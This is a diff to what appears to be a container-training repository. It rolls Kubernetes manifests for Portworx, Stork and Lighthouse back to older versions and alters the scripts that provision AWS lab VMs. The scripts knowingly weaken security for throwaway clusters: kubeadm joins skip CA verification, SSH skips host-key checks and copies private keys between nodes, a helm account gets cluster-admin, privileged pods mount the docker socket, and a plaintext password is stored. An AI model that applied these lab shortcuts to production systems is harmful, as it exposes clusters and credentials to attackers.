   - apiGroups: [""]
     resources: ["configmaps"]
@@ -408,9 +72,6 @@ rules:
   - apiGroups: ["*"]
     resources: ["statefulsets", "statefulsets/extensions"]
     verbs: ["list", "get", "watch", "patch", "update", "initialize"]
-  - apiGroups: ["*"]
-    resources: ["*"]
-    verbs: ["list", "get"]
 ---
 kind: ClusterRoleBinding
 apiVersion: rbac.authorization.k8s.io/v1
@@ -470,10 +131,7 @@ spec:
         - --leader-elect=true
         - --health-monitor-interval=120
         imagePullPolicy: Always
-        image: openstorage/stork:2.2.4
-        env:
-        - name: "PX_SERVICE_NAME"
-          value: "portworx-api"
+        image: openstorage/stork:1.1.3
         resources:
           requests:
             cpu: '0.1'
@@ -510,13 +168,16 @@ metadata:
 rules:
   - apiGroups: [""]
     resources: ["endpoints"]
-    verbs: ["get", "create", "update"]
+    verbs: ["get", "update"]
   - apiGroups: [""]
     resources: ["configmaps"]
     verbs: ["get"]
   - apiGroups: [""]
     resources: ["events"]
     verbs: ["create", "patch", "update"]
+  - apiGroups: [""]
+    resources: ["endpoints"]
+    verbs: ["create"]
   - apiGroups: [""]
     resourceNames: ["kube-scheduler"]
     resources: ["endpoints"]
@@ -536,7 +197,7 @@ rules:
   - apiGroups: [""]
     resources: ["replicationcontrollers", "services"]
     verbs: ["get", "list", "watch"]
-  - apiGroups: ["apps", "extensions"]
+  - apiGroups: ["app", "extensions"]
     resources: ["replicasets"]
     verbs: ["get", "list", "watch"]
   - apiGroups: ["apps"]
@@ -592,7 +253,7 @@ spec:
         - --policy-configmap=stork-config
         - --policy-configmap-namespace=kube-system
         - --lock-object-name=stork-scheduler
-        image: gcr.io/google_containers/kube-scheduler-amd64:v1.15.2
+        image: gcr.io/google_containers/kube-scheduler-amd64:v1.11.2
         livenessProbe:
           httpGet:
             path: /healthz
@@ -619,61 +280,229 @@ spec:
       hostPID: false
       serviceAccountName: stork-scheduler-account
 ---
+kind: Service
+apiVersion: v1
+metadata:
+  name: portworx-service
+  namespace: kube-system
+  labels:
+    name: portworx
+spec:
+  selector:
+    name: portworx
+  ports:
+    - name: px-api
+      protocol: TCP
+      port: 9001
+      targetPort: 9001
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: px-account
+  namespace: kube-system
+---
+kind: ClusterRole
+apiVersion: rbac.authorization.k8s.io/v1
+metadata:
+   name: node-get-put-list-role
+rules:
+- apiGroups: [""]
+  resources: ["nodes"]
+  verbs: ["watch", "get", "update", "list"]
+- apiGroups: [""]
+  resources: ["pods"]
+  verbs: ["delete", "get", "list"]
+- apiGroups: [""]
+  resources: ["persistentvolumeclaims", "persistentvolumes"]
+  verbs: ["get", "list"]
+- apiGroups: [""]
+  resources: ["configmaps"]
+  verbs: ["get", "list", "update", "create"]
+- apiGroups: ["extensions"]
+  resources: ["podsecuritypolicies"]
+  resourceNames: ["privileged"]
+  verbs: ["use"]
+---
+kind: ClusterRoleBinding
+apiVersion: rbac.authorization.k8s.io/v1
+metadata:
+  name: node-role-binding
+subjects:
+- kind: ServiceAccount
+  name: px-account
+  namespace: kube-system
+roleRef:
+  kind: ClusterRole
+  name: node-get-put-list-role
+  apiGroup: rbac.authorization.k8s.io
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: portworx
+---
+kind: Role
+apiVersion: rbac.authorization.k8s.io/v1
+metadata:
+  name: px-role
+  namespace: portworx
+rules:
+- apiGroups: [""]
+  resources: ["secrets"]
+  verbs: ["get", "list", "create", "update", "patch"]
+---
+kind: RoleBinding
+apiVersion: rbac.authorization.k8s.io/v1
+metadata:
+  name: px-role-binding
+  namespace: portworx
+subjects:
+- kind: ServiceAccount
+  name: px-account
+  namespace: kube-system
+roleRef:
+  kind: Role
+  name: px-role
+  apiGroup: rbac.authorization.k8s.io
+---
+apiVersion: extensions/v1beta1
+kind: DaemonSet
+metadata:
+  name: portworx
+  namespace: kube-system
+  annotations:
+    portworx.com/install-source: "https://install.portworx.com/?kbver=1.11.2&b=true&s=/dev/loop4&c=px-workshop&stork=true&lh=true"
+spec:
+  minReadySeconds: 0
+  updateStrategy:
+    type: RollingUpdate
+    rollingUpdate:
+      maxUnavailable: 1
+  template:
+    metadata:
+      labels:
+        name: portworx
+    spec:
+      affinity:
+        nodeAffinity:
+          requiredDuringSchedulingIgnoredDuringExecution:
+            nodeSelectorTerms:
+            - matchExpressions:
+              - key: px/enabled
+                operator: NotIn
+                values:
+                - "false"
+              - key: node-role.kubernetes.io/master
+                operator: DoesNotExist
+      hostNetwork: true
+      hostPID: false
+      containers:
+        - name: portworx
+          image: portworx/oci-monitor:1.4.2.2
+          imagePullPolicy: Always
+          args:
+            ["-c", "px-workshop", "-s", "/dev/loop4", "-b",
+             "-x", "kubernetes"]
+          env:
+            - name: "PX_TEMPLATE_VERSION"
+              value: "v4"
+            
+          livenessProbe:
+            periodSeconds: 30
+            initialDelaySeconds: 840 # allow image pull in slow networks
+            httpGet:
+              host: 127.0.0.1
+              path: /status
+              port: 9001
+          readinessProbe:
+            periodSeconds: 10
+            httpGet:
+              host: 127.0.0.1
+              path: /health
+              port: 9015
+          terminationMessagePath: "/tmp/px-termination-log"
+          securityContext:
+            privileged: true
+          volumeMounts:
+            - name: dockersock
+              mountPath: /var/run/docker.sock
+            - name: etcpwx
+              mountPath: /etc/pwx
+            - name: optpwx
+              mountPath: /opt/pwx
+            - name: proc1nsmount
+              mountPath: /host_proc/1/ns
+            - name: sysdmount
+              mountPath: /etc/systemd/system
+            - name: diagsdump
+              mountPath: /var/cores
+            - name: journalmount1
+              mountPath: /var/run/log
+              readOnly: true
+            - name: journalmount2
+              mountPath: /var/log
+              readOnly: true
+            - name: dbusmount
+              mountPath: /var/run/dbus
+      restartPolicy: Always
+      serviceAccountName: px-account
+      volumes:
+        - name: dockersock
+          hostPath:
+            path: /var/run/docker.sock
+        - name: etcpwx
+          hostPath:
+            path: /etc/pwx
+        - name: optpwx
+          hostPath:
+            path: /opt/pwx
+        - name: proc1nsmount
+          hostPath:
+            path: /proc/1/ns
+        - name: sysdmount
+          hostPath:
+            path: /etc/systemd/system
+        - name: diagsdump
+          hostPath:
+            path: /var/cores
+        - name: journalmount1
+          hostPath:
+            path: /var/run/log
+        - name: journalmount2
+          hostPath:
+            path: /var/log
+        - name: dbusmount
+          hostPath:
+            path: /var/run/dbus
+---
 apiVersion: v1
 kind: ServiceAccount
 metadata:
   name: px-lh-account
   namespace: kube-system
 ---
-kind: ClusterRole
+kind: Role
 apiVersion: rbac.authorization.k8s.io/v1
 metadata:
-  name: px-lh-role
-  namespace: kube-system
+   name: px-lh-role
+   namespace: kube-system
 rules:
-  - apiGroups: [""]
-    resources: ["pods"]
-    verbs: ["list", "get"]
-  - apiGroups:
-        - extensions
-        - apps
-    resources:
-        - deployments
-    verbs: ["get", "list"]
-  - apiGroups: [""]
-    resources: ["secrets"]
-    verbs: ["get", "create", "update"]
-  - apiGroups: [""]
-    resources: ["configmaps"]
-    verbs: ["get", "create", "update"]
-  - apiGroups: [""]
-    resources: ["nodes"]
-    verbs: ["get", "list", "watch"]
-  - apiGroups: [""]
-    resources: ["services"]
-    verbs: ["create", "get", "list", "watch"]
-  - apiGroups: ["stork.libopenstorage.org"]
-    resources: ["clusterpairs","migrations","groupvolumesnapshots"]
-    verbs: ["get", "list", "create", "update", "delete"]
-  - apiGroups: ["monitoring.coreos.com"]
-    resources:
-      - alertmanagers
-      - prometheuses
-      - prometheuses/finalizers
-      - servicemonitors
-    verbs: ["*"]
+- apiGroups: [""]
+  resources: ["configmaps"]
+  verbs: ["get", "create", "update"]
 ---
-kind: ClusterRoleBinding
+kind: RoleBinding
 apiVersion: rbac.authorization.k8s.io/v1
 metadata:
   name: px-lh-role-binding
   namespace: kube-system
 subjects:
-  - kind: ServiceAccount
-    name: px-lh-account
-    namespace: kube-system
+- kind: ServiceAccount
+  name: px-lh-account
+  namespace: kube-system
 roleRef:
-  kind: ClusterRole
+  kind: Role
   name: px-lh-role
   apiGroup: rbac.authorization.k8s.io
 ---
@@ -689,12 +518,14 @@ spec:
   ports:
     - name: http
       port: 80
+      nodePort: 32678
     - name: https
       port: 443
+      nodePort: 32679
   selector:
     tier: px-web-console
 ---
-apiVersion: apps/v1beta1
+apiVersion: apps/v1beta2
 kind: Deployment
 metadata:
   name: px-lighthouse
@@ -718,7 +549,7 @@ spec:
     spec:
       initContainers:
       - name: config-init
-        image: portworx/lh-config-sync:0.4
+        image: portworx/lh-config-sync:0.2
         imagePullPolicy: Always
         args:
         - "init"
@@ -727,9 +558,8 @@ spec:
           mountPath: /config/lh
       containers:
       - name: px-lighthouse
-        image: portworx/px-lighthouse:2.0.4
+        image: portworx/px-lighthouse:1.5.0
         imagePullPolicy: Always
-        args: [ "-kubernetes", "true" ]
         ports:
         - containerPort: 80
         - containerPort: 443
@@ -737,16 +567,13 @@ spec:
         - name: config
           mountPath: /config/lh
       - name: config-sync
-        image: portworx/lh-config-sync:0.4
+        image: portworx/lh-config-sync:0.2
         imagePullPolicy: Always
         args:
         - "sync"
         volumeMounts:
         - name: config
           mountPath: /config/lh
-      - name: stork-connector
-        image: portworx/lh-stork-connector:0.2
-        imagePullPolicy: Always
       serviceAccountName: px-lh-account
       volumes:
       - name: config

k8s/postgres.yaml

@@ -15,7 +15,7 @@ spec:
       schedulerName: stork
       containers:
       - name: postgres
-        image: postgres:11
+        image: postgres:10.5
         volumeMounts:
         - mountPath: /var/lib/postgresql/data
           name: postgres

k8s/psp-privileged.yaml

@@ -1,39 +0,0 @@
----
-apiVersion: policy/v1beta1
-kind: PodSecurityPolicy
-metadata:
-  name: privileged
-  annotations:
-    seccomp.security.alpha.kubernetes.io/allowedProfileNames: '*'
-spec:
-  privileged: true
-  allowPrivilegeEscalation: true
-  allowedCapabilities:
-  - '*'
-  volumes:
-  - '*'
-  hostNetwork: true
-  hostPorts:
-  - min: 0
-    max: 65535
-  hostIPC: true
-  hostPID: true
-  runAsUser:
-    rule: 'RunAsAny'
-  seLinux:
-    rule: 'RunAsAny'
-  supplementalGroups:
-    rule: 'RunAsAny'
-  fsGroup:
-    rule: 'RunAsAny'
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRole
-metadata:
-  name: psp:privileged
-rules:
-- apiGroups:     ['policy']
-  resources:     ['podsecuritypolicies']
-  verbs:         ['use']
-  resourceNames: ['privileged']
-

k8s/psp-restricted.yaml

@@ -1,38 +0,0 @@
----
-apiVersion: extensions/v1beta1
-kind: PodSecurityPolicy
-metadata:
-  annotations:
-    apparmor.security.beta.kubernetes.io/allowedProfileNames: runtime/default
-    apparmor.security.beta.kubernetes.io/defaultProfileName: runtime/default
-    seccomp.security.alpha.kubernetes.io/allowedProfileNames: docker/default
-    seccomp.security.alpha.kubernetes.io/defaultProfileName: docker/default
-  name: restricted
-spec:
-  allowPrivilegeEscalation: false
-  fsGroup:
-    rule: RunAsAny
-  runAsUser:
-    rule: RunAsAny
-  seLinux:
-    rule: RunAsAny
-  supplementalGroups:
-    rule: RunAsAny
-  volumes:
-  - configMap
-  - emptyDir
-  - projected
-  - secret
-  - downwardAPI
-  - persistentVolumeClaim
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRole
-metadata:
-  name: psp:restricted
-rules:
-- apiGroups:     ['policy']
-  resources:     ['podsecuritypolicies']
-  verbs:         ['use']
-  resourceNames: ['restricted']
-

k8s/users:jean.doe.yaml

@@ -1,33 +0,0 @@
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: jean.doe
-  namespace: users
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRole
-metadata:
-  name: users:jean.doe
-rules:
-- apiGroups: [ certificates.k8s.io ]
-  resources: [ certificatesigningrequests ]
-  verbs:     [ create ]
-- apiGroups:     [ certificates.k8s.io ]
-  resourceNames: [ users:jean.doe ]
-  resources:     [ certificatesigningrequests ]
-  verbs:         [ get, create, delete, watch ]
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRoleBinding
-metadata:
-  name: users:jean.doe
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: ClusterRole
-  name: users:jean.doe
-subjects:
-- kind: ServiceAccount
-  name: jean.doe
-  namespace: users
-

k8s/volumes-for-consul.yaml

@@ -1,70 +0,0 @@
----
-apiVersion: v1
-kind: PersistentVolume
-metadata:
-  name: consul-node2
-  annotations:
-    node: node2
-spec:
-  capacity:
-    storage: 10Gi
-  accessModes:
-  - ReadWriteOnce
-  persistentVolumeReclaimPolicy: Delete
-  local:
-    path: /mnt/consul
-  nodeAffinity:
-    required:
-      nodeSelectorTerms:
-      - matchExpressions:
-        - key: kubernetes.io/hostname
-          operator: In
-          values:
-          - node2
----
-apiVersion: v1
-kind: PersistentVolume
-metadata:
-  name: consul-node3
-  annotations:
-    node: node3
-spec:
-  capacity:
-    storage: 10Gi
-  accessModes:
-  - ReadWriteOnce
-  persistentVolumeReclaimPolicy: Delete
-  local:
-    path: /mnt/consul
-  nodeAffinity:
-    required:
-      nodeSelectorTerms:
-      - matchExpressions:
-        - key: kubernetes.io/hostname
-          operator: In
-          values:
-          - node3
----
-apiVersion: v1
-kind: PersistentVolume
-metadata:
-  name: consul-node4
-  annotations:
-    node: node4
-spec:
-  capacity:
-    storage: 10Gi
-  accessModes:
-  - ReadWriteOnce
-  persistentVolumeReclaimPolicy: Delete
-  local:
-    path: /mnt/consul
-  nodeAffinity:
-    required:
-      nodeSelectorTerms:
-      - matchExpressions:
-        - key: kubernetes.io/hostname
-          operator: In
-          values:
-          - node4
-

prepare-vms/lib/commands.sh

@@ -2,7 +2,7 @@ export AWS_DEFAULT_OUTPUT=text
 
 HELP=""
 _cmd() {
-    HELP="$(printf "%s\n%-20s %s\n" "$HELP" "$1" "$2")"
+    HELP="$(printf "%s\n%-12s %s\n" "$HELP" "$1" "$2")"
 }
 
 _cmd help "Show available commands"
@@ -33,14 +33,9 @@ _cmd_cards() {
         ../../lib/ips-txt-to-html.py settings.yaml
     )
 
-    ln -sf ../tags/$TAG/ips.html www/$TAG.html
-    ln -sf ../tags/$TAG/ips.pdf www/$TAG.pdf
-
     info "Cards created. You can view them with:"
     info "xdg-open tags/$TAG/ips.html tags/$TAG/ips.pdf (on Linux)"
     info "open tags/$TAG/ips.html (on macOS)"
-    info "Or you can start a web server with:"
-    info "$0 www"
 }
 
 _cmd deploy "Install Docker on a bunch of running VMs"
@@ -79,10 +74,10 @@ _cmd_deploy() {
     pssh -I sudo tee /usr/local/bin/docker-prompt <lib/docker-prompt
     pssh sudo chmod +x /usr/local/bin/docker-prompt
 
-    # If /home/docker/.ssh/id_rsa doesn't exist, copy it from the first node
+    # If /home/docker/.ssh/id_rsa doesn't exist, copy it from node1
     pssh "
     sudo -u docker [ -f /home/docker/.ssh/id_rsa ] ||
-    ssh -o StrictHostKeyChecking=no \$(cat /etc/name_of_first_node) sudo -u docker tar -C /home/docker -cvf- .ssh |
+    ssh -o StrictHostKeyChecking=no node1 sudo -u docker tar -C /home/docker -cvf- .ssh |
     sudo -u docker tar -C /home/docker -xf-"
 
     # if 'docker@' doesn't appear in /home/docker/.ssh/authorized_keys, copy it there
@@ -91,11 +86,11 @@ _cmd_deploy() {
     cat /home/docker/.ssh/id_rsa.pub |
     sudo -u docker tee -a /home/docker/.ssh/authorized_keys"
 
-    # On the first node, create and deploy TLS certs using Docker Machine
+    # On node1, create and deploy TLS certs using Docker Machine
     # (Currently disabled.)
     true || pssh "
-    if i_am_first_node; then
-        grep '[0-9]\$' /etc/hosts |
+    if grep -q node1 /tmp/node; then
+        grep ' node' /etc/hosts | 
         xargs -n2 sudo -H -u docker \
         docker-machine create -d generic --generic-ssh-user docker --generic-ip-address
     fi"
@@ -108,16 +103,6 @@ _cmd_deploy() {
     info "$0 cards $TAG"
 }
 
-_cmd disabledocker "Stop Docker Engine and don't restart it automatically"
-_cmd_disabledocker() {
-    TAG=$1
-    need_tag
-
-    pssh "sudo systemctl disable docker.service"
-    pssh "sudo systemctl disable docker.socket"
-    pssh "sudo systemctl stop docker"
-}
-
 _cmd kubebins "Install Kubernetes and CNI binaries but don't start anything"
 _cmd_kubebins() {
     TAG=$1
@@ -131,7 +116,7 @@ _cmd_kubebins() {
         | sudo tar --strip-components=1 --wildcards -zx '*/etcd' '*/etcdctl'
     fi
     if ! [ -x hyperkube ]; then
-        curl -L https://dl.k8s.io/v1.14.1/kubernetes-server-linux-amd64.tar.gz \
+        curl -L https://dl.k8s.io/v1.14.0/kubernetes-server-linux-amd64.tar.gz \
         | sudo tar --strip-components=3 -zx kubernetes/server/bin/hyperkube
     fi
     if ! [ -x kubelet ]; then
@@ -154,16 +139,6 @@ _cmd_kube() {
     TAG=$1
     need_tag
 
-    # Optional version, e.g. 1.13.5
-    KUBEVERSION=$2
-    if [ "$KUBEVERSION" ]; then
-        EXTRA_KUBELET="=$KUBEVERSION-00"
-        EXTRA_KUBEADM="--kubernetes-version=v$KUBEVERSION"
-    else
-        EXTRA_KUBELET=""
-        EXTRA_KUBEADM=""
-    fi
-
     # Install packages
     pssh --timeout 200 "
     curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg |
@@ -172,19 +147,19 @@ _cmd_kube() {
     sudo tee /etc/apt/sources.list.d/kubernetes.list"
     pssh --timeout 200 "
     sudo apt-get update -q &&
-    sudo apt-get install -qy kubelet$EXTRA_KUBELET kubeadm kubectl &&
+    sudo apt-get install -qy kubelet kubeadm kubectl &&
     kubectl completion bash | sudo tee /etc/bash_completion.d/kubectl"
 
     # Initialize kube master
     pssh --timeout 200 "
-    if i_am_first_node && [ ! -f /etc/kubernetes/admin.conf ]; then
+    if grep -q node1 /tmp/node && [ ! -f /etc/kubernetes/admin.conf ]; then
         kubeadm token generate > /tmp/token &&
-	sudo kubeadm init $EXTRA_KUBEADM --token \$(cat /tmp/token) --apiserver-cert-extra-sans \$(cat /tmp/ipv4)
+	sudo kubeadm init --token \$(cat /tmp/token) --apiserver-cert-extra-sans \$(cat /tmp/ipv4)
     fi"
 
     # Put kubeconfig in ubuntu's and docker's accounts
     pssh "
-    if i_am_first_node; then
+    if grep -q node1 /tmp/node; then
         sudo mkdir -p \$HOME/.kube /home/docker/.kube &&
         sudo cp /etc/kubernetes/admin.conf \$HOME/.kube/config &&
         sudo cp /etc/kubernetes/admin.conf /home/docker/.kube/config &&
@@ -194,22 +169,21 @@ _cmd_kube() {
 
     # Install weave as the pod network
     pssh "
-    if i_am_first_node; then
+    if grep -q node1 /tmp/node; then
         kubever=\$(kubectl version | base64 | tr -d '\n') &&
         kubectl apply -f https://cloud.weave.works/k8s/net?k8s-version=\$kubever
     fi"
 
     # Join the other nodes to the cluster
     pssh --timeout 200 "
-    if ! i_am_first_node && [ ! -f /etc/kubernetes/kubelet.conf ]; then
-        FIRSTNODE=\$(cat /etc/name_of_first_node) &&
-        TOKEN=\$(ssh -o StrictHostKeyChecking=no \$FIRSTNODE cat /tmp/token) &&
-        sudo kubeadm join --discovery-token-unsafe-skip-ca-verification --token \$TOKEN \$FIRSTNODE:6443
+    if ! grep -q node1 /tmp/node && [ ! -f /etc/kubernetes/kubelet.conf ]; then
+        TOKEN=\$(ssh -o StrictHostKeyChecking=no node1 cat /tmp/token) &&
+        sudo kubeadm join --discovery-token-unsafe-skip-ca-verification --token \$TOKEN node1:6443
     fi"
 
     # Install metrics server
     pssh "
-    if i_am_first_node; then
+    if grep -q node1 /tmp/node; then
 	kubectl apply -f https://raw.githubusercontent.com/jpetazzo/container.training/master/k8s/metrics-server.yaml
     fi"
 
@@ -234,7 +208,7 @@ EOF"
     pssh "
     if [ ! -x /usr/local/bin/stern ]; then
         ##VERSION##
-        sudo curl -L -o /usr/local/bin/stern https://github.com/wercker/stern/releases/download/1.11.0/stern_linux_amd64 &&
+        sudo curl -L -o /usr/local/bin/stern https://github.com/wercker/stern/releases/download/1.10.0/stern_linux_amd64 &&
         sudo chmod +x /usr/local/bin/stern &&
         stern --completion bash | sudo tee /etc/bash_completion.d/stern
     fi"
@@ -246,21 +220,6 @@ EOF"
         helm completion bash | sudo tee /etc/bash_completion.d/helm
     fi"
 
-    # Install ship
-    pssh "
-    if [ ! -x /usr/local/bin/ship ]; then
-        curl -L https://github.com/replicatedhq/ship/releases/download/v0.40.0/ship_0.40.0_linux_amd64.tar.gz |
-             sudo tar -C /usr/local/bin -zx ship
-    fi"
-
-    # Install the AWS IAM authenticator
-    pssh "
-    if [ ! -x /usr/local/bin/aws-iam-authenticator ]; then
-	##VERSION##
-        sudo curl -o /usr/local/bin/aws-iam-authenticator https://amazon-eks.s3-us-west-2.amazonaws.com/1.12.7/2019-03-27/bin/linux/amd64/aws-iam-authenticator
-	sudo chmod +x /usr/local/bin/aws-iam-authenticator
-    fi"
-
     sep "Done"
 }
 
@@ -281,9 +240,10 @@ _cmd_kubetest() {
     # Feel free to make that better ♥
     pssh "
     set -e
-    if i_am_first_node; then
+    [ -f /tmp/node ]
+    if grep -q node1 /tmp/node; then
       which kubectl
-      for NODE in \$(awk /[0-9]\$/\ {print\ \\\$2} /etc/hosts); do
+      for NODE in \$(awk /\ node/\ {print\ \\\$2} /etc/hosts); do
         echo \$NODE ; kubectl get nodes | grep -w \$NODE | grep -w Ready
       done
     fi"
@@ -323,14 +283,6 @@ _cmd_listall() {
     done
 }
 
-_cmd ping "Ping VMs in a given tag, to check that they have network access"
-_cmd_ping() {
-    TAG=$1
-    need_tag
-
-    fping < tags/$TAG/ips.txt
-}
-
 _cmd netfix "Disable GRO and run a pinger job on the VMs"
 _cmd_netfix () {
     TAG=$1
@@ -404,15 +356,6 @@ _cmd_retag() {
     aws_tag_instances $OLDTAG $NEWTAG
 }
 
-_cmd ssh "Open an SSH session to the first node of a tag"
-_cmd_ssh() {
-    TAG=$1
-    need_tag
-    IP=$(head -1 tags/$TAG/ips.txt)
-    info "Logging into $IP"
-    ssh docker@$IP
-}
-
 _cmd start "Start a group of VMs"
 _cmd_start() {
     while [ ! -z "$*" ]; do
@@ -424,7 +367,7 @@ _cmd_start() {
         *) die "Unrecognized parameter: $1."
         esac
     done
-
+    
     if [ -z "$INFRA" ]; then
         die "Please add --infra flag to specify which infrastructure file to use."
     fi
@@ -435,8 +378,8 @@ _cmd_start() {
         COUNT=$(awk '/^clustersize:/ {print $2}' $SETTINGS)
         warning "No --count option was specified. Using value from settings file ($COUNT)."
     fi
-
-    # Check that the specified settings and infrastructure are valid.
+    
+    # Check that the specified settings and infrastructure are valid.        
     need_settings $SETTINGS
     need_infra $INFRA
 
@@ -508,15 +451,15 @@ _cmd_helmprom() {
     TAG=$1
     need_tag
     pssh "
-    if i_am_first_node; then
+    if grep -q node1 /tmp/node; then
         kubectl -n kube-system get serviceaccount helm ||
             kubectl -n kube-system create serviceaccount helm
-        sudo -u docker -H helm init --service-account helm
+        helm init --service-account helm
         kubectl get clusterrolebinding helm-can-do-everything ||
             kubectl create clusterrolebinding helm-can-do-everything \
                 --clusterrole=cluster-admin \
                 --serviceaccount=kube-system:helm
-        sudo -u docker -H helm upgrade --install prometheus stable/prometheus \
+        helm upgrade --install prometheus stable/prometheus \
             --namespace kube-system \
             --set server.service.type=NodePort \
             --set server.service.nodePort=30090 \
@@ -541,50 +484,6 @@ _cmd_weavetest() {
     sh -c \"./weave --local status | grep Connections | grep -q ' 1 failed' || ! echo POD \""
 }
 
-_cmd webssh "Install a WEB SSH server on the machines (port 1080)"
-_cmd_webssh() {
-    TAG=$1
-    need_tag
-    pssh "
-    sudo apt-get update &&
-    sudo apt-get install python-tornado python-paramiko -y"
-    pssh "
-    [ -d webssh ] || git clone https://github.com/jpetazzo/webssh"
-    pssh "
-    for KEYFILE in /etc/ssh/*.pub; do
-      read a b c < \$KEYFILE; echo localhost \$a \$b
-    done > webssh/known_hosts"
-    pssh "cat >webssh.service <<EOF
-[Unit]
-Description=webssh
-
-[Install]
-WantedBy=multi-user.target
-
-[Service]
-WorkingDirectory=/home/ubuntu/webssh
-ExecStart=/usr/bin/env python run.py --fbidhttp=false --port=1080 --policy=reject
-User=nobody
-Group=nogroup
-Restart=always
-EOF"
-    pssh "
-    sudo systemctl enable \$PWD/webssh.service &&
-    sudo systemctl start webssh.service"
-}
-
-_cmd www "Run a web server to access card HTML and PDF"
-_cmd_www() {
-    cd www
-    IPADDR=$(curl -sL canihazip.com/s)
-    info "The following files are available:"
-    for F in *; do
-        echo "http://$IPADDR:8000/$F"
-    done
-    info "Press Ctrl-C to stop server."
-    python -m http.server
-}
-
 greet() {
     IAMUSER=$(aws iam get-user --query 'User.UserName')
     info "Hello! You seem to be UNIX user $USER, and IAM user $IAMUSER."
@@ -642,8 +541,8 @@ test_vm() {
     for cmd in "hostname" \
         "whoami" \
         "hostname -i" \
-        "ls -l /usr/local/bin/i_am_first_node" \
-        "grep . /etc/name_of_first_node /etc/ipv4_of_first_node" \
+        "cat /tmp/node" \
+        "cat /tmp/ipv4" \
         "cat /etc/hosts" \
         "hostnamectl status" \
         "docker version | grep Version -B1" \

prepare-vms/lib/infra/aws.sh

@@ -31,7 +31,6 @@ infra_start() {
         die "I could not find which AMI to use in this region. Try another region?"
     fi
     AWS_KEY_NAME=$(make_key_name)
-    AWS_INSTANCE_TYPE=${AWS_INSTANCE_TYPE-t3a.medium}
 
     sep "Starting instances"
     info "         Count: $COUNT"
@@ -39,11 +38,10 @@ infra_start() {
     info "     Token/tag: $TAG"
     info "           AMI: $AMI"
     info "      Key name: $AWS_KEY_NAME"
-    info " Instance type: $AWS_INSTANCE_TYPE"
     result=$(aws ec2 run-instances \
         --key-name $AWS_KEY_NAME \
         --count $COUNT \
-        --instance-type $AWS_INSTANCE_TYPE \
+        --instance-type ${AWS_INSTANCE_TYPE-t2.medium} \
         --client-token $TAG \
         --block-device-mapping 'DeviceName=/dev/sda1,Ebs={VolumeSize=20}' \
         --image-id $AMI)
@@ -99,7 +97,7 @@ infra_disableaddrchecks() {
 }
 
 wait_until_tag_is_running() {
-    max_retry=100
+    max_retry=50
     i=0
     done_count=0
     while [[ $done_count -lt $COUNT ]]; do

prepare-vms/lib/ips-txt-to-html.py

@@ -1,4 +1,4 @@
-#!/usr/bin/env python3
+#!/usr/bin/env python
 import os
 import sys
 import yaml

prepare-vms/lib/postprep.py

@@ -12,7 +12,6 @@ config = yaml.load(open("/tmp/settings.yaml"))
 COMPOSE_VERSION = config["compose_version"]
 MACHINE_VERSION = config["machine_version"]
 CLUSTER_SIZE = config["clustersize"]
-CLUSTER_PREFIX = config["clusterprefix"]
 ENGINE_VERSION = config["engine_version"]
 DOCKER_USER_PASSWORD = config["docker_user_password"]
 
@@ -122,7 +121,7 @@ addresses = list(l.strip() for l in sys.stdin)
 assert ipv4 in addresses
 
 def makenames(addrs):
-    return [ "%s%s"%(CLUSTER_PREFIX, i+1) for i in range(len(addrs)) ]
+    return [ "node%s"%(i+1) for i in range(len(addrs)) ]
 
 while addresses:
     cluster = addresses[:CLUSTER_SIZE]
@@ -136,21 +135,15 @@ while addresses:
     print(cluster)
 
     mynode = cluster.index(ipv4) + 1
-    system("echo {}{} | sudo tee /etc/hostname".format(CLUSTER_PREFIX, mynode))
-    system("sudo hostname {}{}".format(CLUSTER_PREFIX, mynode))
+    system("echo node{} | sudo -u docker tee /tmp/node".format(mynode))
+    system("echo node{} | sudo tee /etc/hostname".format(mynode))
+    system("sudo hostname node{}".format(mynode))
     system("sudo -u docker mkdir -p /home/docker/.ssh")
     system("sudo -u docker touch /home/docker/.ssh/authorized_keys")
 
-    # Create a convenience file to easily check if we're the first node
     if ipv4 == cluster[0]:
-        system("sudo ln -sf /bin/true /usr/local/bin/i_am_first_node")
-        # On the first node, if we don't have a private key, generate one (with empty passphrase)
+        # If I'm node1 and don't have a private key, generate one (with empty passphrase)
         system("sudo -u docker [ -f /home/docker/.ssh/id_rsa ] || sudo -u docker ssh-keygen -t rsa -f /home/docker/.ssh/id_rsa -P ''")
-    else:
-        system("sudo ln -sf /bin/false /usr/local/bin/i_am_first_node")
-    # Record the IPV4 and name of the first node
-    system("echo {} | sudo tee /etc/ipv4_of_first_node".format(cluster[0]))
-    system("echo {} | sudo tee /etc/name_of_first_node".format(names[0]))
 
 FINISH = time.time()
 duration = "Initial deployment took {}s".format(str(FINISH - START)[:5])

prepare-vms/settings/admin-kubenet.yaml

@@ -1,28 +0,0 @@
-# Number of VMs per cluster
-clustersize: 3
-
-# The hostname of each node will be clusterprefix + a number
-clusterprefix: kubenet
-
-# Jinja2 template to use to generate ready-to-cut cards
-cards_template: cards.html
-
-# Use "Letter" in the US, and "A4" everywhere else
-paper_size: A4
-
-# Feel free to reduce this if your printer can handle it
-paper_margin: 0.2in
-
-# Note: paper_size and paper_margin only apply to PDF generated with pdfkit.
-# If you print (or generate a PDF) using ips.html, they will be ignored.
-# (The equivalent parameters must be set from the browser's print dialog.)
-
-# This can be "test" or "stable"
-engine_version: stable
-
-# These correspond to the version numbers visible on their respective GitHub release pages
-compose_version: 1.24.1
-machine_version: 0.14.0
-
-# Password used to connect with the "docker user"
-docker_user_password: training

prepare-vms/settings/admin-kuberouter.yaml

@@ -1,28 +0,0 @@
-# Number of VMs per cluster
-clustersize: 3
-
-# The hostname of each node will be clusterprefix + a number
-clusterprefix: kuberouter
-
-# Jinja2 template to use to generate ready-to-cut cards
-cards_template: cards.html
-
-# Use "Letter" in the US, and "A4" everywhere else
-paper_size: A4
-
-# Feel free to reduce this if your printer can handle it
-paper_margin: 0.2in
-
-# Note: paper_size and paper_margin only apply to PDF generated with pdfkit.
-# If you print (or generate a PDF) using ips.html, they will be ignored.
-# (The equivalent parameters must be set from the browser's print dialog.)
-
-# This can be "test" or "stable"
-engine_version: stable
-
